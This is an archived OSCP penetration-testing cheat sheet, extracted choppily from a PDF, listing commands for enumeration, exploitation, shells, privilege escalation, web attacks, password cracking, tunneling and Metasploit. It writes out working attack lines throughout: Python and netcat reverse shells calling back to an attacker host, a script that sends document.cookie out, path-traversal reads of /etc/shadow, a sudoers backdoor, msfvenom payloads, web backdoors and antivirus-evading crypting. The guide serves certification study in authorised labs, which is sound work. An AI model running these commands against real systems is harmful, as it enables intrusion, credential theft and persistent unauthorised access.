OSCP Survival Guide
OSCP Survival Guide
archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html
Series:
Projects
OSCP-Survival-Guide
NOTE: This document refers to the target ip as the export variable $ip.
To set this value on the command line use the following syntax:
export ip=192.168.1.100
Table of Contents
Kali Linux
Buffer Overflows and Exploits
Shells
File Transfers
Networking, Pivoting and Tunneling
The Metasploit Framework
Bypassing Antivirus Software
1/63
Kali Linux
Set the Target IP Address to the $ip system variable
export ip=192.168.1.100
Find a search for a file that contains a specific string in it’s name:
find / -name sbd\*
Change Password
passwd
Start a service
systemctl start ssh
Stop a service
systemctl stop ssh
Unzip a gz file
gunzip access.log.gz
Download a webpage
wget http://www.cisco.com
Open a webpage
curl http://www.cisco.com
2/63
String manipulation
tail index.html
Collect all the IP Addresses from a log file and sort by frequency
cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn
3/63
Netcat - Read and write TCP and UDP Packets
Download Netcat for Windows (handy for creating reverse shells and transfering files on
windows systems):https://joncraton.org/blog/46/netcat-for-windows/
Connect to a POP3 mail server
nc -nv $ip 110
Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that…
whereis nc
nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz
or
Ncat - Netcat for Nmap project which provides more security avoid IDS
4/63
Wireshark
tcp.port eq 25 or icmp
Show only traffic in the LAN (192.168.x.x), between workstations and servers – no
Internet:
ip.addr == xxx.xxx.xxx.xxx
Equals
ip.addr != xxx.xxx.xxx.xxx
Equals
Tcpdump
5/63
IPTables
```bash
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t nat -F
iptables -t mangle -F
iptables -F
iptables -X
iptables -t raw -F iptables -t raw -X
```
Google inurl
inurl:"level/15/sexec/-/show"
Simply Email
git clone https://github.com/killswitch-GUI/SimplyEmail.git
Netcraft
6/63
Whois Enumeration
whois domain-name-here.com
whois $ip
Banner Grabbing
nc -v $ip 25
telnet $ip 25
nc TARGET-IP 80
cd /opt/recon-ng
./recon-ng
show modules
help
7/63
/ Addresses Hosts Netmask Amount of a Class C
Nmap OS Fingerprinting
nmap -O $ip
Enumeration Scan
nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt
Enumeration Scan All Ports TCP / UDP and output to a txt file
nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip
Quick Scan:
nmap -T4 -F $ip/24
8/63
Quick traceroute
nmap -sn --traceroute $ip
Intense Scan:
nmap -T4 -A -v $ip
Ping scan
nmap -sn $ip/24
Scan with Active connect in order to weed out any spoofed ports designed to troll you
nmap -p1-65535 -A -T5 -sT $ip
Enumeration
9/63
DNS Enumeration
NMAP DNS Hostnames Lookup nmap -F --dns-server <dns server ip> <target ip
range>
Host Lookup
host -t ns megacorpone.com
DNSEnum
dnsenum zonetransfer.me
NMap Discovery
https://nmap.org/nsedoc/categories/discovery.html
Nmap port version detection MAXIMUM power
nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p
<port> <host>
10/63
RPC (Remote Procedure Call) Enumeration
Connect to an RPC share without a username and password and enumerate privledges
rpcclient --user="" --command=enumprivs -N $ip
11/63
SMB Enumeration
SMB OS Discovery
nmap $ip --script smb-os-discovery.nse
nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos
or external or fuzzer)' --script-args=unsafe=1 $ip
enum4linux $ip
enum4linux -a $ip
12/63
Enumerate SMB Users
OR
list
+OK 2 1807
1 786
2 1021
retr 1
Here is your login for remote desktop ... try not to forget it this time!
username: billydean
password: PA$$W0RD!Z
13/63
SNMP Enumeration -Simple Network Management Protocol
snmpenum -t $ip
SNMPv3 Enumeration
nmap -sV -p 161 --script=snmp-info $ip/24
14/63
Webmin and miniserv/0.01 Enumeration - Port 10000
`curl
http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/
..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%0
1/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..
%01/..%01/etc/passwd`
`curl
http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/
..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%0
1/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..
%01/..%01/etc/shadow`
Linux OS Enumeration
List the allowed (and forbidden) commands for the invoking use
sudo -l
15/63
Windows OS Enumeration
hostname
net users
ipconfig /all
route print
arp -A
netstat -ano
tasklist /SVC
net start
DRIVERQUERY
16/63
Scan for vulnerable exploits with nmap
nmap --script exploit -Pn $ip
File Enumeration
17/63
HTTP Enumeration
Search for folders with gobuster:
gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip
Nikto
nikto -h $ip
Get Options available from web server curl -vX OPTIONS vm/test
Recurse level 3
18/63
WordPress Scan - Wordpress security scanner
auxiliary/scanner/rservices/rsh_login
Finger Enumeration
finger @$ip
finger batman@$ip
apt-get update
apt-get install openvas
openvas-setup
netstat -tulpn
Login at:
https://$ip:9392
19/63
Nmap Fuzzers:
MSFvenom
https://www.offensive-security.com/metasploit-unleashed/msfvenom/
20/63
Windows Buffer Overflows
Controlling EIP
locate pattern_create
pattern_create.rb -l 2700
locate pattern_offset
pattern_offset.rb -q 39694438
Bypass DEP if present by finding a Memory Location with Read and Execute access for
JMP ESP
Use NASM to determine the HEX code for a JMP ESP instruction
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
JMP ESP
00000000 FFE4 jmp esp
21/63
Create a PE Reverse HTTPS shell
msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o
met_https_reverse.exe
Check for “Bad Characters” Process of elimination - Run multiple times 0x00 - 0xFF
Shells
Netcat Shell Listener
nc -nlvp 4444
22/63
Spawning a TTY Shell - Break out of Jail or limited shell You should almost always upgrade your
shell after taking control of an apache or www user.
(For example when you encounter an error message when trying to run an exploit sh: no
job control in this shell )
You may encounter limited shells that use rbash and only allow you to execute a single
command per session. You can overcome this by executing an SSH shell to your
localhost:
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);
s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'
echo os.system('/bin/bash')
/bin/sh -i
lua: os.execute('/bin/sh')
:set shell=/bin/bash:shell
echo $’id\\n/bin/netcat $ip 443 –e /bin/bash’ > /tmp/.test chmod +x /tmp/.test sudo
tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root
23/63
php-findsock-shell - turns PHP port 80 into an interactive shell
http://pentestmonkey.net/tools/web-shells/php-findsock-shell
Perl Reverse Shell
http://pentestmonkey.net/tools/web-shells/perl-reverse-shell
PHP powered web browser Shell b374k with file upload etc.
https://github.com/b374k/b374k
Windows reverse shell - PowerSploit’s Invoke-Shellcode script and inject a Meterpreter
shellhttps://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-
Shellcode.ps1
Web Backdoors from Fuzzdb https://github.com/fuzzdb-project/fuzzdb/tree/master/web-
backdoors
24/63
Creating Meterpreter Shells with MSFVenom -
http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-
msfvenom-payloads/
Linux
Windows
Mac
Web Payloads
PHP
OR
Then we need to add the <?php at the first line of the file so that it will execute as a PHP
webpage:
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >>
shell.php
ASP
JSP
WAR
Scripting Payloads
25/63
Python
Bash
Perl
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters.
Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z
Once the required values are completed the following command will execute your handler –
‘msfconsole -L -r ‘
use auxiliary/scanner/ssh/ssh_login
use post/multi/manage/shell_to_meterpreter
26/63
SBD.exe
sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like
operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1
encryption (by Christophe Devine), program execution (-e option), choosing source port,
continuous reconnection with delay, and some other nice features. sbd supports TCP/IP
communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-
binaries/backdoors/sbd.exe) can be uploaded to a windows box as a Netcat alternative.
Shellshock
ssh -vvv
ssh -i noob noob@$ip '() { :;}; /bin/bash'
File Transfers
Post exploitation refers to the actions performed by an attacker, once some level of control has
been gained on his target.
27/63
Simple Local Web Servers
Run a basic Python3 http server, great for serving up shells etc
python3 -m http.server
C:\temp\cscript.exe webdl.vbs
28/63
HTTP Put
nmap -p80 $ip –script http-put –script-args http-put.url=’/test/sicpwn.php’,http-
put.file=’/var/www/html/sicpwn.php
29/63
Uploading Files
SCP
scp username1@source_host:directory1/filename1
username2@destination_host:directory2/filename2
Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method - This
tool will auto upload a backdoor
https://github.com/cldrn/davtest
You can also upload a file using the PUT method with the curl command:
And rename it to an executable file using the MOVE method with the curl command:
30/63
FTP
apt-get update && apt-get install pure-ftpd
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
Packing Files
Ultimate Packer for eXecutables
upx -9 nc.exe
exe2bat - Converts EXE to a text file that can be copied and pasted
locate exe2bat
wine exe2bat.exe nc.exe nc.txt
Privilege Escalation
Password reuse is your friend. The OSCP labs are true to life, in the way that the users will reuse
passwords across different services and even different boxes. Maintain a list of cracked passwords
and test them on new machines you encounter.
id
sudo su
31/63
Here are the commands I have learned to use to perform linux enumeration and privledge
escalation:
What users can login to this box (Do they use thier username as thier password)?:
What kernel version are we using? Do we have any kernel exploits for this version?
uname -a
netstat -tulpn
32/63
There are a few scripts that can automate the linux enumeration process:
Google is my favorite Linux Kernel exploitation search tool. Many of these automated
checkers are missing important kernel exploits which can create a very frustrating
blindspot during your OSCP course.
https://www.securitysift.com/download/linuxprivchecker.py
LinEnum - (Recently Updated)
https://github.com/rebootuser/LinEnum
linux-exploit-suggester (Recently Updated)
https://github.com/mzet-/linux-exploit-suggester
Highon.coffee Linux Local Enum - Great enumeration script!
wget https://highon.coffee/downloads/linux-local-enum.sh
Linux Privilege Exploit Suggester (Old has not been updated in years)
https://github.com/PenturaLabs/Linux_Exploit_Suggester
Linux post exploitation enumeration and exploit checking tools
https://github.com/reider-roque/linpostexp
CVE-2010-2959 - ‘CAN BCM’ Privilege Escalation - Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 /
2.6.32)
https://www.exploit-db.com/exploits/14814/
CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
https://dirtycow.ninja/
First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016
33/63
Run a command as a user other than root
below are some quick copy and paste examples for various shells:
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
Create and compile an SUID from a limited shell (no file transfer)
Handy command if you can get a root user to run it. Add the www-data user to Root SUDO
group with no password requirement:
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers
&& chmod 440 /etc/sudoers' > /tmp/update
You may find a command is being executed by the root user, you may be able to modify the
system PATH environment variable to execute your command instead. In the example below,
ssh is replaced with a reverse shell SUID connecting to 10.10.10.1 on port 4444.
set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >>
/tmp/ssh
chmod +x ssh
34/63
SearchSploit
./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0
Precompiled Linux Kernel Exploits - Super handy if GCC is not installed on the target
machine!
https://www.kernel-exploits.com/
Collect root password
whoami
Try the getsystem command using meterpreter - rarely works but is worth a try.
35/63
No File Upload Required Windows Privlege Escalation Basic Information Gathering (based on
the fuzzy security tutorial and windows_privesc_check.py).
Copy and paste the following contents into your remote Windows shell in Kali to generate a
quick report:
36/63
@echo --------- BASIC WINDOWS RECON --------- > report.txt
timeout 1
net config Workstation >> report.txt
timeout 1
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >> report.txt
timeout 1
hostname >> report.txt
timeout 1
net users >> report.txt
timeout 1
ipconfig /all >> report.txt
timeout 1
route print >> report.txt
timeout 1
arp -A >> report.txt
timeout 1
netstat -ano >> report.txt
timeout 1
netsh firewall show state >> report.txt
timeout 1
netsh firewall show config >> report.txt
timeout 1
schtasks /query /fo LIST /v >> report.txt
timeout 1
tasklist /SVC >> report.txt
timeout 1
net start >> report.txt
timeout 1
DRIVERQUERY >> report.txt
timeout 1
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >>
report.txt
timeout 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >>
report.txt
timeout 1
dir /s *pass* == *cred* == *vnc* == *.config* >> report.txt
timeout 1
findstr /si password *.xml *.ini *.txt >> report.txt
timeout 1
reg query HKLM /f password /t REG_SZ /s >> report.txt
timeout 1
reg query HKCU /f password /t REG_SZ /s >> report.txt
timeout 1
dir "C:\"
timeout 1
dir "C:\Program Files\" >> report.txt
timeout 1
dir "C:\Program Files (x86)\"
timeout 1
dir "C:\Users\"
timeout 1
dir "C:\Users\Public\"
timeout 1
echo REPORT COMPLETE!
37/63
Windows Server 2003 and IIS 6.0 WEBDAV Exploiting
http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html
cadavar http://$ip
dav:/> put aspshell.txt
Uploading aspshell.txt to `/aspshell.txt':
Progress: [=============================>] 100.0% of 38468 bytes succeeded.
dav:/> copy aspshell.txt aspshell3.asp;.txt
Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt': succeeded.
dav:/> exit
curl http://$ip/aspshell3.asp;.txt
Windows privledge escalation exploits are often written in Python. So, it is necessary to compile
the using pyinstaller.py into an executable and upload them to the remote server.
Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:
https://www.exploit-db.com/exploits/6705/
https://github.com/Re4son/Churrasco
c:\Inetpub>churrasco
churrasco
/churrasco/-->Usage: Churrasco.exe [-d] "command to run"
38/63
Powershell Exploits - You may find that some Windows privledge escalation exploits are written
in Powershell. You may not have an interactive shell that allows you to enter the powershell
prompt. Once the powershell script is uploaded to the server, here is a quick one liner to run a
powershell command from a basic (cmd.exe) shell:
MS16-032 https://www.exploit-db.com/exploits/39719/
powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-
032.ps1; Invoke-MS16-032 }"
Sysinternals psexec is a handy tool for running a command on a remote or local server as
a specific user, given you have thier username and password. The following example
creates a reverse shell from a windows server to our Kali box using netcat for Windows
and Psexec (on a 64 bit system).
Runas.exe is a handy windows tool that allows you to run a program as another user so
long as you know thier password. The following example creates a reverse shell from a
windows server to our Kali box using netcat for Windows and Runas.exe:
PowerShell can also be used to launch a process as another user. The following simple
powershell script will run a reverse shell as the specified username and password.
39/63
Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to
privilege escalation. You can replace the executable with your own and have windows execute
whatever code you want as the privileged user.
icacls scsiaccess.exe
scsiaccess.exe
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
Everyone:(I)(F)
dir /s Groups.xml
type Groups.xml
gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB
40/63
Client Attacks
MS12-037- Internet Explorer 8 Fixed Col Span ID
wget -O exploit.html http://www.exploit-db.com/download/24017
service apache2 start
JAVA Signed Jar client side attack
echo ‘’ > /var/www/html/java.html
User must hit run on the popup that occurs.
41/63
Web Attacks
Web Shag Web Application Vulnerability Assessment Platform
webshag-gui
Web Shells
http://tools.kali.org/maintaining-access/webshells
ls -l /usr/share/webshells/
Generate a PHP backdoor (generate) protected with the given password (s3cr3t)
weevely generate s3cr3t
weevely http://$ip/weevely.php s3cr3t
OWASP Dirbuster
nikto -h $ip
<javascript>
new image().src="http://$ip/bogus.php?output="+document.cookie;
</script>
nc -nlvp 80
42/63
File Inclusion Vulnerabilities
Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly
written PHP code.
fimap - There is a Python tool called fimap which can be leveraged to automate the
exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI):
https://github.com/kurobeats/fimap
Gaining a shell from phpinfo()
fimap + phpinfo() Exploit - If a phpinfo() file is present, it’s usually possible to get a
shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you
could use a tool like OWASP DirBuster.
For Local File Inclusions look for the include() function in PHP code.
include("lang/".$_COOKIE['lang']);
include($_GET['page'].".php");
curl -s \
"http://$ip/?page=php://filter/convert.base64-encode/resource=index" \
| grep -e '\[^\\ \]\\{40,\\}' | base64 -d
43/63
LFI OSX Files:
/etc/fstab
/etc/master.passwd
/etc/resolv.conf
/etc/sudoers
/etc/sysctl.conf
Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte
GET /addguestbook.php?
name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00
For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP
include function and the php.ini file must be configured to allow remote files
include($_REQUEST["file"].".php");
http://192.168.11.35/addguestbook.php?
name=a&comment=b&LANG=http://192.168.10.5/evil.txt
44/63
Database Vulnerabilities
Playing with SQL Syntax A great tool I have found for playing with SQL Syntax for a
variety of database types (MSSQL Server, MySql, PostGreSql, Oracle) is SQL Fiddle:
http://sqlfiddle.com
Another site is rextester.com:
http://rextester.com/l/mysql_online_compiler
45/63
Detecting SQL Injection Vulnerabilities.
Most modern automated scanner tools use time delay techniques to detect SQL injection
vulnerabilities. This method can tell you if a SQL injection vulnerability is present even if it
is a “blind” sql injection vulnerabilit that does not provide any data back. You know your
SQL injection is working when the server takes a LOooooong time to respond. I have
added a line comment at the end of each injection statement just in case there is additional
SQL code after the injection point.
MSSQL Server SQL Injection Time Delay Detection: Add a 30 second delay to a
MSSQL Server Query
Original Query
Injection Value
Resulting Query
MySQL Injection Time Delay Detection: Add a 30 second delay to a MySQL Query
Original Query
Injection Value
'-SLEEP(30); #
Resulting Query
Original Query
Injection Value
Resulting Query
46/63
Grab password hashes from a web application mysql database called “Users” - once you
have the MySQL root username and password
Authentication Bypass
name='wronguser' or 1=1;
name='wronguser' or 1=1 LIMIT 1;
http://192.168.11.35/comment.php?id=738)'
http://$ip/comment.php?id=738 order by 1
Create a backdoor
SQLMap Examples
47/63
Crawl the links
Scan url for union + error based injection with mysql backend and use a random user
agent + database dump
48/63
Enumerate databases
Get OS shell
SQL query
NoSQLMap Examples You may encounter NoSQL instances like MongoDB in your OSCP
journies (/cgi-bin/mongo/2.2.3/dbparse.py). NoSQLMap can help you to automate
NoSQLDatabase enumeration.
NoSQLMap Installation
49/63
Often you can create an exception dump message with MongoDB using a malformed
NoSQLQuery such as:
50/63
Password Attacks
AES Decryption
http://aesencryption.net/
Convert multiple webpages into a word list
CIRT
http://www.cirt.net/passwords
Government Security - Default Logins and Passwords for Networked Devices
http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworked
Devices.php
Virus.org
http://www.virus.org/default-password/
Default Password
http://www.defaultpassword.com/
Brute Force
Dictionary Files
crunch 8 8 -t ,@@^^%%%
51/63
Pwdump and Fgdump - Security Accounts Manager (SAM)
allows one to perform several attacks to obtain clear text passwords and hashes.
Usage: wce -w
Mimikatz
extract plaintexts passwords, hash, PIN code and kerberos tickets from memory.
mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets
https://github.com/gentilkiwi/mimikatz From metasploit meterpreter (must have
System level access):
Password Profiling
52/63
Hydra
53/63
Password Hash Attacks
Online Password Cracking
https://crackstation.net/ http://finder.insidepro.com/
Hashcat Needed to install new drivers to get my GPU Cracking to work on the Kali linux
VM and I also had to use the –force parameter.
and
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
Create a .hash file with all the hashes you want to crack puthasheshere.hash:
$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/
Sample Hashes
http://openwall.info/wiki/john/sample-hashes
54/63
Identify Hashes
hash-identifier
john $ip.pwdump
Use Metasploit to exploit one of the SMB servers in the labs. Dump the password hashes
and attempt a pass-the-hash attack against another system:
export
SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
cat /etc/rinetd.conf
55/63
SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable
network
Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains
HTTP Tunneling
http tunnel
On server side:
sudo hts -F <server ip addr>:<port of your app> 80 On client side:
sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip
addr>:80 stunnel
Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network
Tunnel on port 22
56/63
Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep
packet inspection)
Windows machine add required firewall rules without prompting the user
httptunnel_client.exe
VLAN Hopping
57/63
VPN Hacking
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP
psk-crack hash-file.txt
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --
charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-
207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key
PPTP Hacking
Port Forwarding/Redirection
58/63
SSH Pivoting
DNS Tunneling
dnscat2 supports “download” and “upload” commands for getting iles (data and programs)
to and from the target machine.
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
Run dnscat2:
ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422
Target Machine:
https://downloads.skullsecurity.org/dnscat2/
https://github.com/lukebaggett/dnscat2-powershell/
dnscat --host <dnscat server ip>
59/63
MSF Syntax
Start metasploit
msfconsole
msfconsole -q
show -h
show auxiliary
Use a module
use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/http/webdav_scanner
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/ftp/ftp_login
use exploit/windows/pop3/seattlelab_pass
info
show options
run
Execute an Exploit
exploit
60/63
Metasploit Database Access
hosts
db_nmap
services -p 443
Staged - sent in two parts Not have enough buffer space Or need to bypass antivirus
MS 17-010 - EternalBlue
You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue). Although,
not offically part of the indended course, this exploit can be leveraged to gain SYSTEM
level access to a Windows box. I have never had much luck using the built in Metasploit
EternalBlue module. I found that the elevenpaths version works much more relabily. Here
are the instructions to install it taken from the following YouTube video:
https://www.youtube.com/watch?v=4OHLor9VaRI
1. First step is to configure the Kali to work with wine 32bit
dpkg –add-architecture i386 && apt-get update && apt-get install wine32 rm -r ~/.wine
wine cmd.exe exit
I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.
61/63
Experimenting with Meterpreter
sysinfo
getuid
search -f *pass*.txt
Upload a file
Download a file
shell
exit
payload
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST $ip
set LPORT 443
exploit
[*] Started HTTPS reverse handler on https://$ip:443/
mkdir -p ~/.msf4/modules/exploits/linux/misc
cd ~/.msf4/modules/exploits/linux/misc
cp /usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb
./crossfire.rb
nano crossfire.rb
62/63
Post Exploitation with Metasploit - (available options depend on OS and Meterpreter
Cababilities)
background
cp /usr/share/windows-binaries/Hyperion-1.0.zip
unzip Hyperion-1.0.zip
cd Hyperion-1.0/
i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe
cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll .
cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll .
wine hyperion.exe ../backdoor.exe ../crypted.exe
63/63